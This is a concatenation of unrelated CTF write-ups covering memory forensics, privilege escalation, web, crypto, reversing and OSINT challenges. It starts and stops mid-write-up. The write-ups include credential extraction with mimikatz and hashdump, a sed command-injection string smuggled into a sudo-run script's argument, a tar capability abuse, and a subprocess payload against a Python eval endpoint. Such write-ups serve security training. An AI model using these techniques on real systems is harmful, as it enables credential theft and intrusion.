```json{ "documents": [ { "name": "projects/cookie-clicker1/databases/(default)/documents/cookies/notaflag", "fields": { "flag": { "stringValue": "DUCTF{ok_it_is_a_flag_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}" } }, "createTime": "2020-09-04T13:41:42.446437Z", "updateTime": "2020-09-04T13:41:42.446437Z" }, { "name": "projects/cookie-clicker1/databases/(default)/documents/cookies/total", "fields": { "cookieCount": { "integerValue": "1572" } }, "createTime": "2020-09-04T12:46:17.534744Z", "updateTime": "2020-09-20T16:14:35.289302Z" } ]}```
As such, we have found the flag for this challenge: `"DUCTF{ok_it_is_a_flag_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}"`
> **Note:** Access tokens are short-lived, so it may expire when attempting to fetch the cookies. If that happens, if the `Network` tab is still open, a request will have been sent for a new access token, which can be retrieved. Otherwise, reloading the page will always ensure that the access token is exposed on the first request to Firestore.
---
This method is slightly different from the one proposed in the official writeup. You can check it out [here](https://github.com/DownUnderCTF/Challenges_2020_public/blob/master/web/cookie-clicker/solution.md). |
# Write-up FwordCTF
* [Forensics - Memory 1](#forensics---memory-1)* [Forensics - Memory 2](#forensics---memory-2)* [Forensics - Memory 3](#forensics---memory-3)* [Forensics - Memory 4](#forensics---memory-4)* [Forensics - Memory 5](#forensics---memory-5)* [Forensics - Infection](#forensics---infection)* [Forensics - Null](#forensics---null)* [Bash - CapiCapi](#bash---capicapi)* [Bash - Bash is fun](#bash---bash-is-fun)* [Reversing - Tornado](#reversing---tornado)* [OSINT - Identity Fraud](#osint---identity-fraud)* [OSINT - Tracking a Criminal](#osint---tracking-a-criminal)* [Misc - Secret Array](#misc---secret-array)
## Forensics - Memory 1
Archivos: foren.7z
> Give the hostname, username and password in format FwordCTF{hostname_username_password}.
Se trata de un dump de memoria, por lo que se utiliza **Volatility**.Con imageinfo obtengo que se trata de un dump con el perfil Win7SP1x64. El nombre del equipo se encuentra en el registro, por lo general en la clave 'HKLM\SYSTEM\ControlSet001\Control\ComputerName\ComputerName'.
Para obtenerlo se listan las hives del registro con el comando **hivelist** para ver la dirección virtual de la subclave **SYSTEM**. ```volatility -f foren.raw --profile=Win7SP1x64 hivelist```
Luego se imprime el valor de la clave Computer name a partir de esta dirección.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ActiveComputerName'```
El nombre del equipo es **FORENWARMUP**.
Para obtener el usuario y la contraseña se pueden usar **hashdump** y el plugin **mimikatz** que te proporciona la contraseña en claro, si está disponible.```volatility -f foren.raw --profile=Win7SP1x64 hashdump```
Para crackear el hash NTLM (el segundo) se puede usar CrackStation: https://crackstation.net/.
Mimikatz proporciona en claro la contraseña:```volatility --plugins=/home/utilidades/plugins-vol -f foren.raw --profile=Win7SP1x64 mimikatz```
**FwordCTF{FORENWARMUP_SBA_AK_password123}**
## Forensics - Memory 2
> I had a secret conversation with my friend on internet. On which channel were we chatting?
En la salida chromehistory se ve que ha estado chateando en un IRC. Hago un dump de la memoria de todos los procesos de chrome visibles en pstree y luego un strings para obtener la flag:
**FwordCTF{top_secret_channel}**
## Forensics - Memory 3
> He sent me a secret file , can you recover it?> PS: NO BRUTEFORCE NEEDED FOR THE PASSWORD
En el mismo dump de memoria de antes, hago un grep ahora con el nombre del canal y el prefijo de mensaje privado para observar la conversación ``PRIVMSG #FwordCTF{top_secret_channel}``
Se puede ver un enlace del que se descarga el archivo “important.zip”, y su contraseña **fw0rdsecretp4ss**.Dentro del ZIP está flag en una imagen:
**FwordCTF{dont_share_secrets_on_public_channels}**
## Forensics - Memory 4
> Since i'm a geek, i hide my secrets in weird places.
La flag está escondida en el registro, en NTUSER.dat.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410 -K 'FLAG'```
**FwordCTF{hiding_secrets_in_regs}**
## Forensics - Memory 5
Hago un dump de la memoria del proceso de Paint y le doy la extensión **.data**, para luego intentar abrirlo en GIMP.
Jugando con los valores de desplazamiento y anchura del diálogo se puede ver la flag. Con el desplazamiento se pueden ver las diferentes imágenes, y con la anchura se modifica una especie de rotación para poder verla bien.
**FwordCTF{Paint_Skills_FTW!}**
## Forensics - Infection
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---infection)
## Forensics - Null
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---null)
## OSINT - Identity Fraud
> Someone stole our logo and created a team named "Eword". In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. ... Can you help me in solving the task?
Buscando las respuestas de la cuenta de Twitter @1337bloggs (https://twitter.com/1337bloggs/with_replies) me encuentro con una conversación con @EwordTeam. En ella le ofrecen unirse al equipo si consigue resolver “algo” que hay en su página de CTFtime, cuyo enlace está en la descripción de la cuenta.
Al acceder a la página (https://ctftime.org/team/131587) no se ve nada aparte de la dirección de Twitter, y es porque eliminaron la pista una vez les notificó el usuario.
Sin embargo, hay una captura en WaybackMachine en la que se aprecia la pista, una dirección de Pastebin: http://web.archive.org/web/20200826195056/https://ctftime.org/team/131587
El contenido del Pastebin es:```Hi Fred,
You said that you are good in OSINT. So, you need to prove your skills to join Eword.
Your task:Find the leader of Eword, then find the flag in one of his social media accounts.
Hint:https://pastebin.com/PZvaSjA0```
El hint que proporcionan es un JPG con una captura de una historia de Instagram, en la que se puede ver un hotel (con su nombre).Con una búsqueda rápida en Google veo que se trata del hotel Hilton Podgorica Crna Gora, y con la búsqueda "Hilton Podgorica Crna Gora" "advisor" "eword" encuentro una opinión de un tal "Wokaihwokomas Kustermann" en la que se menciona el nombre del equipo.
El primer pastebin indicaba que la flag estaba en una de las redes sociales del líder, y en el perfil del usuario se ve la pista “check_my_instagram”, por lo que lo busco en Instagram. En las historias destacadas se puede ver la misma imagen del hotel, y luego una en la que sugiere que las fotos de perfil de Instagram sean cuadradas. Esto parece una pista por lo que trato de obtener la imagen de perfil con el depurador de red del navegador. Sin embargo, la foto que se obtiene es muy pequeña, y en ella se puede apreciar que hay algo escrito en la parte inferior, pero que es ilegible.
Para ver la imagen de perfil a tamaño real utilizo la página Instadp (https://www.instadp.com/fullsize/wokaihwokomaskustermann)Ahora sí se puede apreciar la flag.
**Eword{c0ngraAatulationZzZz_aNd_w3lCom3_to_Eword_Team_!}**
## Bash - CapiCapi
> You have to do some privilege escalation in order to read the flag! Use the following SSH credentials to connect to the server, each participant will have an isolated environment so you only have to pwn me! >> SSH Credentials > ssh -p 2222 [email protected] > Password: FwordxKahla
Listando las capabilities (```getcap -r / 2>/dev/null```) me encuentro con que el programa **/usr/bin/tar** tiene la capacidad de leer cualquier archivo del sistema (**cap_dac_read_search+ep**). Para acceder a la flag bastaría con comprimir la flag para luego descomprimirla en un archivo que sí tenga permiso de lectura para el usuario actual:
```getcap -r / 2>/dev/null/usr/bin/tar cvf /tmp/flag.txt.tar flag.txtcd /tmp/usr/bin/tar xvf flag.txt.tarcat flag.txt```
**FwordCTF{C4pAbiLities_4r3_t00_S3Cur3_NaruT0_0nc3_S4id}**
## Bash - Bash is fun
> Bash is fun, prove me wrong and do some privesc. >> SSH Credentials > ssh -p 2222 [email protected] > Password: FwOrDAndKahl4FTW
La flag solo puede ser leída por root o por un usuario del grupo **user-privileged**:
La salida de ```sudo -l``` indica que puedo ejecutar el script **welcome.sh** como user-privileged, el cual puede ver el contenido de flag.txt. El script es el siguiente:```bash#!/bin/bashname="greet"while [[ "$1" =~ ^- && ! "$1" == "--" ]]; do case $1 in -V | --version ) echo "Beta version" exit ;; -n | --name ) shift; name=$1 ;; -u | --username ) shift; username=$1 ;; -p | --permission ) permission=1 ;;esac; shift; doneif [[ "$1" == '--' ]]; then shift; fi
echo "Welcome To SysAdmin Welcomer \o/"
eval "function $name { sed 's/user/${username}/g' welcome.txt ; }"export -f $nameisNew=0if [[ $isNew -eq 1 ]];then $namefi
if [[ $permission -eq 1 ]];then echo "You are: " idfi```
Se puede llevar a cabo una inyección de código mediante el parámetro **username**, el cual es utilizado en el sed para sustituir la palabra ‘user’ contenida en welcome.txt y mostrarlo por pantalla. El if relativo a la variable ‘isNew’ no se ejecuta nunca, pero se puede conseguir la ejecución de la función otorgando el valor **‘id’** al parámetro **'name'**, puesto que con el parámetro **permission** se puede ejecutar la sentencia ‘id’, que en vez de ser el comando /usr/bin/id sería la nueva función exportada.
La flag se leería entonces así: ```sudo -u user-privileged /home/user1/welcome.sh -u "pwned/g' flag.txt; echo '" -n id -p```. Nótese el echo del final con la comilla para cerrar correctamente el resto del comando y que no genere un error de sintaxis.
**FwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW}**
## Reversing - Tornado
Archivos: Tornado.7z
El archivo comprimido contiene un script en Python que desordena y cifra una flag con AES, cuya clave es conocida. Modifico el script para realizar funciones de descifrado, invirtiendo el orden. Sin embargo, la flag está desordenada, ya que pasó por la función **shuffle** antes de ser cifrada. Esta función es vulnerable porque asigna como semilla un caracter de la propia flag. Como la flag tiene el formato **FwordCTF{**...**}**, se puede iterar por cada caracter diferente de la flag y comprobar si las posiciones finales de la flag incompleta son iguales.
Un **detalle importante** que me hizo perder bastante tiempo, es que debe correrse con **Python3**. Entre las versiones de Python diferentes no se genera la misma secuencia de números para la misma semilla.
```python#!/usr/bin/python3#-*- encoding=UTF8 -*-from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom Crypto.Util.number import long_to_bytesfrom binascii import hexlify, unhexlifyimport random
key = "very_awes0m3_k3y"flag = "FwordCTF{W!Pr35gp_ZKrJt[NcV_Kd-/NmJ-8ep(*A48t9jBLNrdFDqSBGTAt}" # Cadena aleatoria de pruebaassert len(flag) == 62assert len(key) == 16
def to_blocks(text): return [text[i*2:(i+1)*2].encode() for i in range(len(text)//2)]
def random_bytes(seed): random.seed(seed) return long_to_bytes(random.getrandbits(8*16))
def encrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) plain_pad = pad(block, 16) return hexlify(cipher.encrypt(plain_pad)).decode()
def encrypt(txt, key): res = "" blocks = to_blocks(txt) for block in blocks: res += encrypt_block(block, key) return res
def translate(txt,l,r): return txt[:l]+txt[r:]+txt[l:r]
def shuffle(txt): seed=random.choice(txt) random.seed(seed) nums = [] for _ in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def slice(txt, n): return [txt[index : index + n] for index in range(0, len(txt), n)]
def decrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) return unpad(cipher.decrypt(unhexlify(block.encode())), 16).decode()
def shuffle2(txt, seed): random.seed(seed) nums = [] for i in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def reverse_translate(txt, l, r): n = len(txt) - r + l res = txt[:l] + txt[n:] + txt[l:n] assert len(res) == len(txt) return res
def crack(encrypted): # Descifra los bloques blocks = slice(encrypted, 32) decrypted = "".join(decrypt_block(block, key) for block in blocks) print("[*] Descifrado: " + decrypted) # Ahora la flag está shuffleada, por lo que se obtienen los indices # de los caracteres unicos en la parte que se conoce de la flag known = "FwordCTF{}" uniqueKnown = "" for c in known: if decrypted.count(c) == 1: uniqueKnown += c print("[*] Caracteres únicos de la parte conocida de la flag: " + uniqueKnown) indexes = [decrypted.index(c) for c in uniqueKnown] print("[*] Indices aleatorizados de los caracteres: " + str(indexes)) # Se itera el charset de la flag descifrada, ya que la semilla es un caracter de esta, # y se busca con cuales de ellas se obtienen los mismos indices charset = [] for char in decrypted: if char not in charset: charset.append(char) dummy = "FwordCTF{BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB}" assert len(dummy) == 62
seeds = [] for char in charset: res, _ = shuffle2(dummy, char) i = [res.index(c) for c in uniqueKnown] if indexes == i: seeds.append(char) print("[*] Posibles semillas: " + str(seeds)) # Se obtiene la secuencia de numeros aleatorios generados en la funcion shuffle for seed in seeds: _, nums = shuffle2(dummy, seed) # Aplica las operaciones inversas solution = decrypted for lr in nums: solution = reverse_translate(solution, lr[0], lr[1]) print("[*] Posible solución con semilla {}: {}".format(seed, solution))
def shuffleEncrypt(txt, key): shuffled, nums = shuffle(txt) print("[*] Desordenada: " + shuffled) print("[*] Nums: " + str(nums)) return encrypt(shuffled, key)
#encrypted = shuffleEncrypt(flag, key)encrypted = "3ce29d5f8d646d853b5f6677a564aec6bd1c9f0cbfac0af73fb5cfb446e08cfec5a261ec050f6f30d9f1dfd85a9df875168851e1a111a9d9bfdbab238ce4a4eb3b4f8e0db42e0a5af305105834605f90621940e3f801e0e4e0ca401ff451f1983701831243df999cfaf40b4ac50599de5c87cd68857980a037682b4dbfa1d26c949e743f8d77549c5991c8e1f21d891a1ac87166d3074e4859a26954d725ed4f2332a8b326f4634810a24f1908945052bfd0181ff801b1d3a0bc535df622a299a9666de40dfba06a684a4db213f28f3471ba7059bcbdc042fd45c58ae4970f53fb808143eaa9ec6cf35339c58fa12efa18728eb426a2fcb0234d8539c0628c49b416c0963a33e6a0b91e7733b42f29900921626bba03e76b1911d20728254b84f38a2ce12ec5d98a2fa3201522aa17d6972fe7c04f1f64c9fd4623583cc5a91cc471a13d6ab9b0903704727d1eb987fd5d59b5757babb92758e06d2f12fd7e32d66fe9e3b9d11cd93b11beb70c66b57af71787457c78ff152ff4bd63a83ef894c1f01ae476253cbef154701f07cc7e0e16f7eede0c8fa2d5a5dd5624caa5408ca74b4b8c8f847ba570023b481c6ec642dac634c112ae9fec3cbd59e1d2f84f56282cb74a3ac6152c32c671190e2f4c14704ed9bbe74eaafc3ce27849533141e9642c91a7bf846848d7fbfcd839c2ca3b"print("[*] Cifrado: " + encrypted)
crack(encrypted)```
**FwordCTF{peekaboo_i_am_the_flag_!\_i_am_the_danger_52592bbfcd8}**
## OSINT - Tracking a Criminal
Archivos: Villages.zip
> We have found a flash memory in the crime scene, and it contains 3 images of different villages. So, the criminal may be hiding in one of these villages! Can you locate them?> Flag Format: FwordCTF{}> * Separate between the villages names using underscores ( _ ).> * All the villages names are in lowercase letters.> * There is no symbols in the villages names.
La primera imagen sale tras unas cuantas fotos similares en la búsqueda por imágenes de Yandex. Se trata de un hotel famoso en Llanfairpwllgwyngyll, Gales.
#################
A primera vista la segunda imagen me resultó familiar, y es porque estuve en estuve en este lugar en una carrera de orientación hace años. Se trata de Monsanto, un pueblo en Portugal muy bonito y con unas cuantas cuestas.
Dejando a un lado la experiencia y analizando la imagen, creo que las principales pistas son: * La gran roca tras la casa en medio de la imagen. * El gallo veleta encima de la Iglesia a la derecha de la imagen * La cruz de piedra debajo de la iglesia
Una búsqueda en Google de ```"village" “boulders”``` y Monsanto aparece entre los primeros resultados. Desde Google Street View se puede ubicar la zona de la foto teniendo en cuenta la posición de la Iglesia y de la cruz.
Google Maps: https://www.google.com/maps/@40.0389769,-7.1163152,3a,75y,353.95h,97.3t/data=!3m6!1e1!3m4!1sxPxTHX5MEDkQgzwdIMKnKw!2e0!7i13312!8i6656
#################
Lo que se ve en la tercera imagen parece una especie de parque o cementerio en una ciudad montañosa, con varios edificios pintados de azul.
En la parte derecha de la foto se puede apreciar un logotipo naranja y amarillo con unas barras negras en medio, probablemente perteneciente a algún establecimiento. Tras varias búsquedas en internet y una búsqueda inversa de un dibujo en Paint que no subo porque es muy cutre, doy con que se trata del banco marroquí **Attijariwafa**, el cual tiene bastantes sucursales por el mundo.
Llama la atención que hay bastantes edificios pintados de azul. Realizo la búsqueda ```"morocco" "blue" "paint"``` el principal resultado es la ciudad Chefchaouen, característica por este motivo. Busco en Google Maps su localización y encuentro el banco junto al parque de la foto.
Google Maps: https://www.google.com/maps/@35.168796,-5.2683641,3a,89.1y,122.25h,91.39t/data=!3m8!1e1!3m6!1sAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem!2e10!3e11!6shttps:%2F%2Flh5.googleusercontent.com%2Fp%2FAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem%3Dw203-h100-k-no-pi0-ya229.80328-ro-0-fo100!7i8704!8i4352
**FwordCTF{llanfairpwllgwyngyll_monsanto_chefchaouen}**
## Misc - Secret Array
```nc secretarray.fword.wtf 1337```
Para hallar los valores, realizo la suma del primer valor con el resto, lo cual supone 1336 operaciones. La restante se utiliza para hallar la suma entre el segundo y el tercer elemento, suficiente para resolver la ecuación. Utilizo **Z3**:```python#!/usr/bin/python3from pwn import *from z3 import *
target = remote("secretarray.fword.wtf", 1337)target.recv()
solver = Solver()
LENGTH = 1337# Genera las variablesvariables = [Int(f"v_{i}") for i in range(LENGTH)]
for v in variables: solver.add(v > 0)
# Halla la suma del primer valor con el resto (1336 peticiones)print("[*] Hallando sumas...")for i in range(1, LENGTH): print("[*] " + str(i)) target.sendline("0 {}".format(i)) suma = int(target.recvline().strip()) solver.add(variables[0] + variables[i] == suma)
# Halla la suma del segundo y tercer valor (última petición)target.sendline("1 2")suma = int(target.recvline().strip())solver.add(variables[1] + variables[2] == suma)
# Resuelveprint("[*] Resolviendo...")solver.check()model = solver.model()
done = "DONE "for v in variables: done += str(model[v]) + " "
target.sendline(done)target.interactive()```
**FwordCTF{it_s_all_about_the_math}**
|
# widthless50 pts
Welcome to web! Let's start off with something kinda funky :)
[website]
## Flag:```flagflag{gu3ss_u_f0und_m3}```
## SolutionIf you have ever played [http://notpron.org/notpron/](http://notpron.org/notpron/) or follow any of [@1o57's riddles](https://lostboy.net/) - you'll find this familiar.
Head to the website and look at source. First hint in the title:```<title>Hidden.me</title>```
Next hint inbetween divs for the form and about```
```
So zero-width encoding. Next big hint at the bottom of page:

Time for python. Using zwsp_steg module make a request to the page.```pythonimport requests as reqimport zwsp_steg
addr = 'http://web.chal.csaw.io:5018/'r = req.get(addr).textdecoded = zwsp_steg.decode(r)print(decoded)```
You get a base 64 encoded string. Deal with that```import base64decoded = base64.b64decode(decoded.encode('ascii')).decode('ascii')print(decoded)```
Should get```alm0st_2_3z```
Submit that to the form in the webpage: The return is```/ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/<pwd>```
Append the "password" and navigate to the resulting page:```http://web.chal.csaw.io:5018/ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/alm0st_2_3z```
More zwsp. Use the same python code with the new address```pythonimport requests as reqimport zwsp_steg
baseURL= 'http://web.chal.csaw.io:5018/ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/alm0st_2_3z'r = req.get(baseURL).textdecoded = zwsp_steg.decode(r)print(decoded)```
Produces:```5f756e6831645f6d3```This is not base64 - looks like hex```pythonprint(bytes.fromhex(decoded).decode())```
Gives:```u_unh1d_m3```
Submit that to the form on the page. It returns the next step:```/19s2uirdjsxbh1iwudgxnjxcbwaiquew3gdi/<pwd1>/<pwd2>```
Use that hint to create the next navigation point```http://web.chal.csaw.io:5018/19s2uirdjsxbh1iwudgxnjxcbwaiquew3gdi/alm0st_2_3z/u_unh1d_m3```
And then you get your flag
[Original Writeup](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/CSAW_quals_2020/web/widthless) |
```rubyrequire 'json'require 'openssl'
p = OpenSSL::BN::generate_prime(1024).to_iq = OpenSSL::BN::generate_prime(1024).to_i
while true d = OpenSSL::BN::generate_prime(1024).to_i break if ((p - 1) * (q - 1)).gcd(d) == 1 && ((p - 1) * (q - 1)).gcd(d + 2) == 1end
e1 = OpenSSL::BN.new(d).mod_inverse(OpenSSL::BN.new((p - 1) * (q - 1))).to_ie2 = OpenSSL::BN.new(d + 2).mod_inverse(OpenSSL::BN.new((p - 1) * (q - 1))).to_i
flag = File.read('flag.txt')msg = OpenSSL::BN.new(flag.unpack1("H*").to_i(16))n = OpenSSL::BN.new(p * q)enc = msg.mod_exp(OpenSSL::BN.new(e1), n)
puts ({ n: (p*q).to_s, e1: e1.to_s, e2: e2.to_s, enc: enc.to_s }).to_json```
We get $e_1$, $e_2$ such that$$e_1d \equiv e_2(d+2) \equiv 1 \pmod{\phi(n)}$$Rearranging, we obtain$$e_1d - e_2d \equiv 2e_2$$$$(e_1 - e_2)d \equiv 2e_2$$Multiplying both sides by $e_1$,$$(e_1 - e_2)e_1d \equiv 2e_2e_1$$Recall that $e_1d \equiv 1$:$$(e_1 - e_2) \equiv 2e_2e_1$$$$e_1 - e_2 - 2e_2e_1 \equiv 0 \pmod{\phi(n)}$$$$e_1 - e_2 - 2e_2e_1 = k\phi(n) \qquad k \in \mathbb Z$$
Thus, we can calculate a multiple of $\phi(n)$ and use it to get a $d'$ such that$$e_1d' \equiv 1 \pmod{k\phi(n)}$$$$\Rightarrow d \equiv d' \pmod{\phi(n)}$$
As such, we can use $c^{d'} \bmod n$ will also result in $m$.
```pythonimport binasciin = 26524843197458127443771133945229625523754949369487014791599807627467226519111599787153382777120140612738257288082433176299499326592447109018282964262146097640978728687735075346441171264146957020277385391199481846763287915008056667746576399729177879290302450987806685085618443327429255304452228199990620148364422757098951306559334815707120477401429317136913170569164607984049390008219435634838332608692894777468452421086790570305857094650986635845598625452629832435775350210325954240744747531362581445612743502972321327204242178398155653455971801057422863549217930378414742792722104721392516098829240589964116113253433e1 = 3288342258818750594497789899280507988608009422632301901890863784763217616490701057613228052043090509927547686042501854377982072935093691324981837282735741669355268200192971934847782966333731663681875702538275775308496023428187962287009210326890218776373213535570853144732649365499644400757341574136352057674421661851071361132160580465606353235714126225246121979148071634839325793257419779891687075215244608092289326285092057290933330050466351755345025419017436852718353794641136454223794422184912845557812856838827270018279670751739019476000437382608054677808858153944204833144150494295177481906551158333784518167127e2 = 20586777123945902753490294897129768995688830255152547498458791228840609956344138109339907853963357359541404633422300744201016345576195555604505930482179414108021094847896856094422857747050686108352530347664803839802347635174893144994932647157839626260092064101372096750666679214484068961156588820385019879979501182685765627312099064118600537936317964839371569513285434610671748047822599856396277714859626710571781608350664514470335146001120348208741966215074474578729244549563565178792603028804198318917007000826819363089407804185394528341886863297204719881851691620496202698379571497376834290321022681400643083508905enc = 18719581313246346528221007858250620803088488607301313701590826442983941607809029805859628525891876064099979252513624998960822412974893002313208591462294684272954861105670518560956910898293761859372361017063600846481279095019009757152999533708737044666388054242961589273716178835651726686400826461459109341300219348927332096859088013848939302909121485953178179602997183289130409653008932258951903333059085283520324025705948839786487207249399025027249604682539137261225462015608695527914414053262360726764369412756336163681981689249905722741130346915738453436534240104046172205962351316149136700091558138836774987886046
kphi = e1 - e2 - 2*e2*e1dd = pow(e1, -1, kphi)msg = pow(enc, dd, n)print(binascii.unhexlify(hex(msg)[2:]))``` |
# In a pickle
- **Category:** Misc- **Difficulty:** Easy- **Author:** n00bmaster
We managed to intercept communication between und3rm4t3r and his hacker friends. However it is obfuscated using something. We just can't figure out what it is. Maybe you can help us find the flag?
**Attached file:** [data](./data)
## Writeup
Reading the `data` as a text file, we can see what appears to be unordered fragments of the flag and the following message: `I know that the intelligence agency's are onto me so now i'm using ways to evade them: I am just glad that you know how to use pickle. Anyway the flag is `. This hint and the description of the challenge indicates to a potential tool known as **pickle**.
Doing some quick research, we find out that pickle is a Python module for the serialization of Python objects. Let's try to unpickle (unserialize) the file:
```pythonimport pickle
data = open("data", 'rb')flag = pickle.load(data)data.close()
print(flag)```
```{1: 'D', 2: 'UCTF', 3: '{', 4: 112, 5: 49, 6: 99, 7: 107, 8: 108, 9: 51, 10: 95, 11: 121, 12: 48, 13: 117, 14: 82, 15: 95, 16: 109, 17: 51, 18: 53, 19: 53, 20: 52, 21: 103, 22: 51, 23: '}', 24: "I know that the intelligence agency's are onto me so now i'm using ways to evade them: I am just glad that you know how to use pickle. Anyway the flag is "}```
It looks like we got the flag, with its contents represented as decimal numbers. Let's translate these numbers into characters:
```pythonimport pickle
data = open("data", 'rb')flag = pickle.load(data)data.close()
print(''.join(chr(x) for _, x in flag.items() if isinstance(x, int)))```
```p1ckl3_y0uR_m3554g3```
We've done it, the flag for this challenge is `DUCTF{p1ckl3_y0uR_m3554g3}`. |
# formatting
- **Category:** Reversing- **Difficulty:** Beginner- **Author:** h4sh5
Its really easy, I promise
**Attached file:** [formatting](./formatting)
## Writeup
The description doesn't really lead us anywhere. Let's download the attached file and see what kind it is.
```bashfile formatting```
```formatting: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bd9f51c1f1535b269a0707054009063f984f6738, for GNU/Linux 3.2.0, not stripped```
It appears to be an executable file in **ELF**. Let's try to run it.
```bash./formatting```
```haha its not that easy}```
Clearly that didn't work. Looks like we have to dig up the file a little. Since it's an **ELF** file, let's use the `readelf` command to dump the `.rodata` section.
```bashreadelf -x .rodata formatting```
``` 0x00002000 01000200 00000000 44554354 467b6861 ........DUCTF{ha 0x00002010 68612069 7473206e 6f742074 68617420 ha its not that 0x00002020 65617379 7d000000 25732530 32782530 easy}...%s%02x%0 0x00002030 32782530 32782530 32782530 32782530 2x%02x%02x%02x%0 0x00002040 32782530 32782530 32787d00 6431645f 2x%02x%02x}.d1d_ 0x00002050 596f755f 4a757374 5f6c7472 6163655f You_Just_ltrace_ 0x00002060 00```
It appears to be hinting that `DUCTF{ha ha its not that easy}` is the flag, but it doesn't really fit the typical flag format, and if we try it, we'll get a failed submission. This is not a deadend though, because there are two other strings; `%s%02x%02x%02x%02x%02x%02x%02x%02x}`, which looks like a **format string**, and `d1d_You_Just_ltrace_`, which appears to be hinting at the use of the `ltrace` command. Let's give it a shot.
```bashltrace formatting```
```sprintf("d1d_You_Just_ltrace_296faa2990ac"..., "%s%02x%02x%02x%02x%02x%02x%02x%0"..., "d1d_You_Just_ltrace_", 0x29, 0x6f, 0xaa, 0x29, 0x90, 0xac, 0xbc, 0x36) = 37puts("haha its not that easy}"haha its not that easy}) = 24```
We can see that `sprintf` is being used to generate a string with `d1d_You_Just_ltrace_` and a sequence of eight 2-character sequences. If we manually format the end result, we obtain the flag `DUCTF{d1d_You_Just_ltrace_296faa2990acbc36}`. |
### JailBoss###### Description: taskFword.sh is in the same directory as you. Maybe it will help you.
---
After I found that `.` `?` and `a` were the only three characters allowed and that `a` prints the environment variables, I ran the following command to execute taskFword.sh that the description says is in the same directory:-
```bash. ????????????```
Running this command seemed to do nothing helpful but running `a` after this gave us the flag as an environment variable:
**FwordCTF{BasH_1S_R3aLLy_4w3s0m3_K4hLaFTW}**
A more detailed writeup can be found at [our GitHub repository](https://github.com/FrigidSec/CTFWriteups/tree/master/FwordCTF/Bash/JailBoss) |
#### Given the challenge name, searching on Instagram for Alexandros the cat seemed like a good start. It brought us to [this profile](https://www.instagram.com/alexandrosthecat/):#### #### #### #### Dipping into the followers, we then found [this person, Emily Waters](https://www.instagram.com/emwaters92/):#### #### #### > insta: alexandrosthecat#### > mum: emwaters92#### > email: [email protected]#### #### Whom we suspected to be the “mum” referenced. However, entering `DUCTF{emily_waters}` didn’t work, and we realised there was a middle name from the email:#### #### Sending an email to that email address got us an out-of-office reply:#### > Email to [email protected]. > Subject line: “Business inquiry: middle name”. > Body: “Hi there! I love your cat Alexandros! Such a cutie. I have a business inquiry regarding a particular flag. Do you mind if I ask you what your middle name is?
> Email reply from [email protected]. > Subject line: “Out of Office from September 6th Re: Business inquiry: middle name”. > Body: “Hello, I will be out of the office from Sunday, September 6th onward. If you need immediate assistance during my absence, that sounds like a you problem. Otherwise, I will probably respond to your emails as soon as possible if I return. > Kind regards, > Emily Theresa Waters.#### #### The signature has the middle name :) #### #### Flag: `DUCTF{emily_theresa_waters}` |
This challenge asked us to `ssh` using these credentials:```ssh [email protected] -p 30301password: ductf```
Which then led to this beautiful screen.

The phrase "Welcome to DUCTF!" kept popping up, filling the terminal and overwriting past phrases as well. [^1]
However, if you look closely, there is a flag in some of them (you can spot them because they have the curly braces). It took a couple tries to really see the whole thing, but we got there in the end.
[^1]: Optional: the filled terminal. 
**Flag**: DUCTF{w3lc0m3_t0_DUCTF_h4v3_fun!} |
tldr
1. A given RSA modulus is generated by multiplying two primes with very low Hamming weight
2. Factor it by iteratively finding solutions for `p*q=n mod 2^k` for an increasing `k`
3. For each `k`, keep a fixed number of possible solutions - the ones with lower Hamming weight
full solution: <https://sectt.github.io/writeups/GoogleCTF20/crypto_yafm/README> |
Navigating to the page given shows a calculator, as described.
We tried a few things at first, like causing an error:
Or entering in a calculation that results in 0:
But after doing more research into the `eval()` function in Python - which was most likely doing this calculation work, we realised that it could probably be used to run some shellcode (ish). So we decided to use the `subprocess` module, which allows you to run shell code in Python.
```__import__('subprocess').getoutput('ls')```
gaves us this:
```__pycache__ main.py prestart.sh templates test.txt```
Printing out `main.py` via ```__import__('subprocess').getoutput('ls')```Printed out the entire `main.py` script that powers the site. A notable variable is `maybe_this_maybe_not`, whose value is the flag.
**Flag**: `DUCTF{3v4L_1s_D4ng3r0u5}`**Further reading**: [Dangerous Python functions, like `eval()` and the `subprocess` module](https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html) |
# Challenge Name : Return to what
# Challenge Description :
This will show my friends!
## Analysis of the binary
Upon running a checksec on the binary, we see the following :
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE```
It seems that there is Partial Relro, that means we can do a `ret-to-libc` easily.
The following is the `vuln()` function from the ghidra decompiler :
```void vuln(void)
{ char local_38 [48]; puts("Where would you like to return to?"); gets(local_38); return;}```
